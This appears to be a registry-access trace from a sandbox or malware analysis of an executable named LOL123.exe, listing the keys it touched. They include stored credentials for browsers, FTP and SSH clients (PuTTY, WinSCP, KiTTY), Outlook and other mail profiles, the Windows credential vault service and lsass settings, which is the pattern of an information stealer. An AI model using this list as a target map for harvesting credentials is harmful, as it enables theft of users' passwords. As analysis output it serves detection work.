HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System__b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Xml__b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Deployment__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.Accessibility__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Security__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\37aa1160\1f4db3dc HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|LOL123.exe HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|LOL123.exe HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|LOL123.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\Global HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\37aa1160\531ab51d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it-IT_b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\40dcb014 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it_b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\1ffc8ca7 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\4ad60644\6f323003 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5d1b2185\235dd0a9 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5d1b2185\9e47f51 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox HKEY_LOCAL_MACHINE\SOFTWARE\ComodoGroup\IceDragon\Setup HKEY_LOCAL_MACHINE\SOFTWARE\Apple Computer, Inc.\Safari HKEY_LOCAL_MACHINE\SOFTWARE\K-Meleon HKEY_LOCAL_MACHINE\SOFTWARE\mozilla.org\SeaMonkey HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Flock HKEY_CURRENT_USER\Software\QtWeb.NET\QtWeb Internet Browser\AutoComplete HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2 HKEY_LOCAL_MACHINE\SOFTWARE\8pecxstudios\Cyberfox86 HKEY_LOCAL_MACHINE\SOFTWARE\8pecxstudios\Cyberfox HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Pale Moon HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Waterfox HKEY_CURRENT_USER\Software\LinasFTP\Site Manager HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings HKEY_CURRENT_USER\Software\Ghisler\Total Commander HKEY_CURRENT_USER\Software HKEY_CURRENT_USER\Software\Adobe HKEY_CURRENT_USER\Software\AppDataLow HKEY_CURRENT_USER\Software\JavaSoft HKEY_CURRENT_USER\Software\Macromedia HKEY_CURRENT_USER\Software\Microsoft HKEY_CURRENT_USER\Software\Netscape HKEY_CURRENT_USER\Software\ODBC HKEY_CURRENT_USER\Software\Policies HKEY_CURRENT_USER\Software\Wow6432Node HKEY_CURRENT_USER\Software\Classes HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts HKEY_CURRENT_USER\Software\Bitvise\BvSshClient HKEY_CURRENT_USER\Software\VanDyke\SecureFX HKEY_LOCAL_MACHINE\Software\NCH Software\Fling\Accounts HKEY_CURRENT_USER\Software\NCH Software\Fling\Accounts HKEY_LOCAL_MACHINE\Software\NCH Software\ClassicFTP\FTPAccounts HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions HKEY_LOCAL_MACHINE\Software\9bis.com\KiTTY\Sessions HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird HKEY_CURRENT_USER\Software\IncrediMail\Identities HKEY_LOCAL_MACHINE\Software\IncrediMail\Identities HKEY_CURRENT_USER\Software\Martin Prikryl HKEY_LOCAL_MACHINE\Software\Martin Prikryl HKEY_LOCAL_MACHINE\SOFTWARE\Postbox\Postbox HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\FossaMail HKEY_CURRENT_USER\Software\WinChips\UserAccounts HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\00471e98b7a362469ed97e3915fd4111 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\00471e98b7a362469ed97e3915fd4111\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\10b0e4d6eb1de34dabd532a0806a0fec HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\10b0e4d6eb1de34dabd532a0806a0fec\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\192e64c97bf3a54488a039619c763627 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\192e64c97bf3a54488a039619c763627\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\32a3dc9c400a4b448b60ab7fe553a392 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\32a3dc9c400a4b448b60ab7fe553a392\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\43e0bb79f0f2d84db98ff4f730d23d24 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\43e0bb79f0f2d84db98ff4f730d23d24\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\6a50d9bd87f9a8478751861a1591a6c2 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\6a50d9bd87f9a8478751861a1591a6c2\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7760e21103136b47946c9c80fa097f15 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7760e21103136b47946c9c80fa097f15\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7d19c9e894f20d4780a31c9a9f17da11 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7d19c9e894f20d4780a31c9a9f17da11\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\818ecc2f310b344f807e8af5dc013189 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\818ecc2f310b344f807e8af5dc013189\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E} HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary\Email HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook HKEY_CURRENT_USER\SOFTWARE\flaska.net\trojita HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LanmanWorkstation\Parameters\RpcCacheTimeout HKEY_LOCAL_MACHINE\\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xd0\x93\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xd0\x99\xef\xbf\xbd\xef\xbf\xbd\xd1\x8f\xef\xbf\xbd\xef\xbf\xbd HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\WOW64 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir HKEY_USERS\S-1-5-18 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData HKEY_USERS\.DEFAULT\Environment HKEY_USERS\.DEFAULT\Volatile Environment HKEY_USERS\.DEFAULT\Volatile Environment\0 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\Environment HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\RequiredPrivileges HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppIDSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppIDSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppIDSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Appinfo HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Appinfo\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Appinfo\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppMgmt HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppMgmt\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppMgmt\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AxInstSV HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AxInstSV\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AxInstSV\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BDESVC HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BDESVC\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BDESVC\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\bthserv HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\bthserv\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\bthserv\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CertPropSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CertPropSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CertPropSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\dot3svc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\dot3svc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\dot3svc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EapHost HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EapHost\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EapHost\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EFS HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EFS\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EFS\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\fdPHost HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\fdPHost\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\fdPHost\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\hidserv HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\hidserv\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\hidserv\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\hkmsvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\hkmsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\hkmsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\HomeGroupListener HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\HomeGroupListener\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\HomeGroupListener\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\HomeGroupProvider HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\HomeGroupProvider\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\HomeGroupProvider\WOW64 